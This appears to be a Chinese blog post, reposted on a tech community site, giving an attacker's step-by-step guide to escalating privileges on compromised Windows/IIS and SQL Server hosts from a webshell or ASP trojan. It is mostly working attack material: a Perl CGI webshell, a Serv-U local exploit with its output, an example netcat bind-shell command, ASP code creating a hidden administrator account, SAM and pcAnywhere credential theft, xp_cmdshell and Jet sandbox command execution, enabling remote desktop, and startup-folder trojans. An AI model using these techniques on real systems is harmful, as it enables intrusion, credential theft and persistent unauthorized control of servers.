webshell提权与asp木马提权

  1. 云栖社区>
  2. 博客>
  3. 正文

webshell提权与asp木马提权

科技小能手 2017-11-12 02:02:00 浏览1459
展开阅读全文

1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\
           看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆
           
           2.C:\WINNT\system32\config\
           进这里下它的SAM,破解用户的密码
           用到破解sam密码的软件有LC,SAMinside
           
           3.C:\Documents and Settings\All Users\「开始」菜单\程序\
           看这里能跳转不,我们从这里可以获取好多有用的信息
           可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转
           进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空
           [USER=heart|1]
           Password=mu126096AB858B7DF2FB117486CF018282
           HomeDir=c:\
           TimeOut=600
           Maintenance=System
           Access1=C:\|RWAMELCDP
           Access1=d:\|RWAMELCDP
           Access1=e:\|RWAMELCDP
           Access1=f:\|RWAMELCDP
           SKEYValues=
           这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限
           
           4.c:\winnt\system32\inetsrv\data\
           就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行
           
           5.看能否跳转到如下目录
           c:\php, 用phpspy
           c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
           #!/usr/bin/perl
           binmode(STDOUT);
           syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
           $_ = $ENV{QUERY_STRING};
           s/%20/ /ig;
           s/%2f/\//ig;
           $execthis = $_;
           syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
           open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
           system($execthis);
           syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
           close(STDERR);
           close(STDOUT);
           exit;
           保存为cgi执行,
           如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir 
           显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
           http://anyhost//cmd.pl?c\perl\bin\su.exe 
           返回: 
           Serv-u >3.x Local Exploit by xiaolu 
           
           USAGE: serv-u.exe "command" 
           
           Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 
           现在是 IUSR 权限,提交: 
           http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 
           http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 
           http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 
           http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 
           如果返回下面的信息,就表示成功了
           Serv-u >3.x Local Exploit by xiaolu 
           
           <220 Serv-U FTP Server v5.2 for WinSock ready... 
           
           >USER LocalAdministrator 
           
           <331 User name okay, need password. 
           
           ****************************************************** 
           
           >PASS #l@$ak#.lk;0@P 
           
           <230 User logged in, proceed. 
           
           ****************************************************** 
           
           >SITE MAINTENANCE 
           
           ****************************************************** 
           
           [+] Creating New Domain... 
           
           <200-DomainID=2 
           
           <220 Domain settings saved 
           
           ****************************************************** 
           
           [+] Domain xl:2 created 
           
           [+] Creating Evil User 
           
           <200-User=xl 
           
           200 User settings saved 
           
           ****************************************************** 
           
           [+] Now Exploiting... 
           
           >USER xl 
           
           <331 User name okay, need password. 
           
           ****************************************************** 
           
           >PASS 111111 
           
           <230 User logged in, proceed. 
           
           ****************************************************** 
           
           [+] Now Executing: cacls.exe c: /E /T /G everyone:F 
           
           <220 Domain deleted
           这样所有分区为everyone完全控制
           现在我们把自己的用户提升为管理员: 
           
           http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"

6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
           用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
           查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
           再将asp.dll加入特权一族
           asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
           我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
           可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了
           
           7.还可以用这段代码试提升,好象效果不明显
           <<%Response.Expires=0">%@codepage=936%><%Response.Expires=0 
           on error resume next 
           Session.TimeOut=50 
           Server.ScriptTimeout=3000 
           set lp=Server.createObject("WSCRIPT.NETWORK") 
           oz="WinNT://"&lp.ComputerName 
           Set ob=GetObject(oz) 
           Set oe=GetObject(oz&"/Administrators,group") 
           Set od=ob.create("user","WekweN$") 
           od.SetPassword "WekweN" <-----密码
           od.SetInfo 
           Set of=GetObject(oz&"/WekweN$,user") 
           oe.Add(of.ADsPath) 
           Response.write "WekweN$ 超级帐号建立成功!"%>
           
           
           用这段代码检查是否提升成功
           <%@codepage=936%>
           <%Response.Expires=0
           on error resume next '查找Administrators组帐号
           Set tN=server.createObject("Wscript.Network")
           Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
           For Each admin in objGroup.Members
           Response.write admin.Name&"<br>"
           Next
           if err then
           Response.write "不行啊:Wscript.Network"
           end if
           %>
           
           8.C:\Program Files\Java Web Start\
           这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。
           
           9.最后了,如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。
           
           等到主机重启或者你ddos逼它重启,来达到权限提升的目的。
           [EXTERNAL]
           ClientCheckDLL1=servu.dll
           
           1:找台有4899的机器,可以进行4899登陆(前提) 
           
           2:把下列文字生成*.BAT传到肉鸡的C:下 
           
           echo [Components] > c:\sql 
           echo TSEnable = on >> c:\sql 
           sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q 
           
           再用黑社会软件对其进行TELNET登陆并执行此文件,执行有个过程,一般3~5分钟不= 
           
           之后你可以扫描,发现他的3389端口开了!OK! 
           
           3:帐号建立 http://ww3.tty-1.net:808/main.htm
           
           在肉鸡的TELNET下输入 
           
           net user 你想建立的用户名字 你想建立的用户密码 /add 
           
           net localgroup administrators 你建立的用户名字 /add 
           
           如果执行成功,则之后会命令下会有一排字"命令执行成功",等这条出现后再执行下一条即可 
           
           4:OK!成功!登陆吧!
           使用sql的查询分析器并登陆
           写入代码
           
           declare @shell int exec sp_oacreate 'wscript.shell',
           @shell output exec sp_oamethod @shell, 'run','null,'c:\winnt\system\cmd.exe /c net user 123 456 /add'
           
           /不用多说创建用户为123密码为456/
           
           declare @shell int exec sp_oacreate'wscript.shell',
           @shell output exec sp_oamethod @shell,'run',null,'C:\winnt\system32\cmd.exe/ c net localgroup administrators 123/add',

把132提升权限
           
           后面就用sql的cmd shell你想干什么就干什么吧.其实也可以windows下提权工具也很多.
           SA权限仅需xp_regwrite即可有dos shell
           删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
           利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
           绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
           nt/2k: x:\winnt\system32\
           xp/2003: x:\windows\system32\
           如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
           当然如果野蛮一点,四个轮流来一遍也行。 
           
           首先开启沙盘模式:
           exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWARE\Microsoft\Jet\4.0\Engines''SandBoxMode''REG_DWORD'1
           
           然后利用jet.oledb执行系统命令
           select * from openrowset('microsoft.jet.oledb.4.0'';database=c:\winnt\system32\ias\ias.mdb''select shell("cmd.exe /c net user admin admin1234 /add")') 
           
           
           扩展储存过程被删除以后可以有很简单的办法恢复:
           
删除
           drop procedure sp_addextendedproc
           drop procedure sp_oacreate
           exec sp_dropextendedproc 'xp_cmdshell'
           
           恢复
           dbcc addextendedproc ("sp_oacreate","odsole70.dll")
           dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
           
           这样可以直接恢复,不用去管sp_addextendedproc是不是存在
           
           -----------------------------
           
           删除扩展存储过过程xp_cmdshell的语句:
           exec sp_dropextendedproc 'xp_cmdshell'
           
           恢复cmdshell的sql语句
           exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
           
           
           开启cmdshell的sql语句
           
           exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
           
           判断存储扩展是否存在
           select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
           返回结果为1就ok
           
           恢复xp_cmdshell
           exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
           返回结果为1就ok
           
           否则上传xplog7.0.dll
           exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
           
           堵上cmdshell的sql语句
           sp_dropextendedproc "xp_cmdshell

asp木马提权

net user 查看是否有cmd的权限 
           如果没有用海洋2005配合上传的cmd.exe来执行 
           假如:上传一个工具ftp.exe 具体的路径是:D:\mine\ftp.exe 
           现在加个管理员帐号命令是 D:\mine\ftp.exe "net user mackson$ mackson /add" 
           现在我们来把 mackson 这个帐号提升为管理员```` 
           这里是命令 D:\mine\ftp.exe "net localgroup administrators mackson$ /add" 
           现在我们来看看 mackson 这个帐号的资料 命令: net user mackson$ 
           如果是管理员的话,现在我们主要是去开他 3389 然后终端连接 
           我们传个 3389.exe去 
           D:\mine\3389.exe 这就是开33898终端服务的工具路径了```` 
           上传开启3389的软件地址:D:\mine\3389.exe 
           我们只要在CMD里面输入D:\mine\ftp.exe "D:\mine\3389.exe" 
           现在只需要在CMD命令输入里面 输入上面的命令 然后回车 就可以开他 3389 了 
           服务器重启中。。。。。 
           重启后,打开远程桌面连接。。。



本文转自gaodi2002 51CTO博客,原文链接:http://blog.51cto.com/gaodi2002/1618189

网友评论

登录后评论
0/500
评论
科技小能手
+ 关注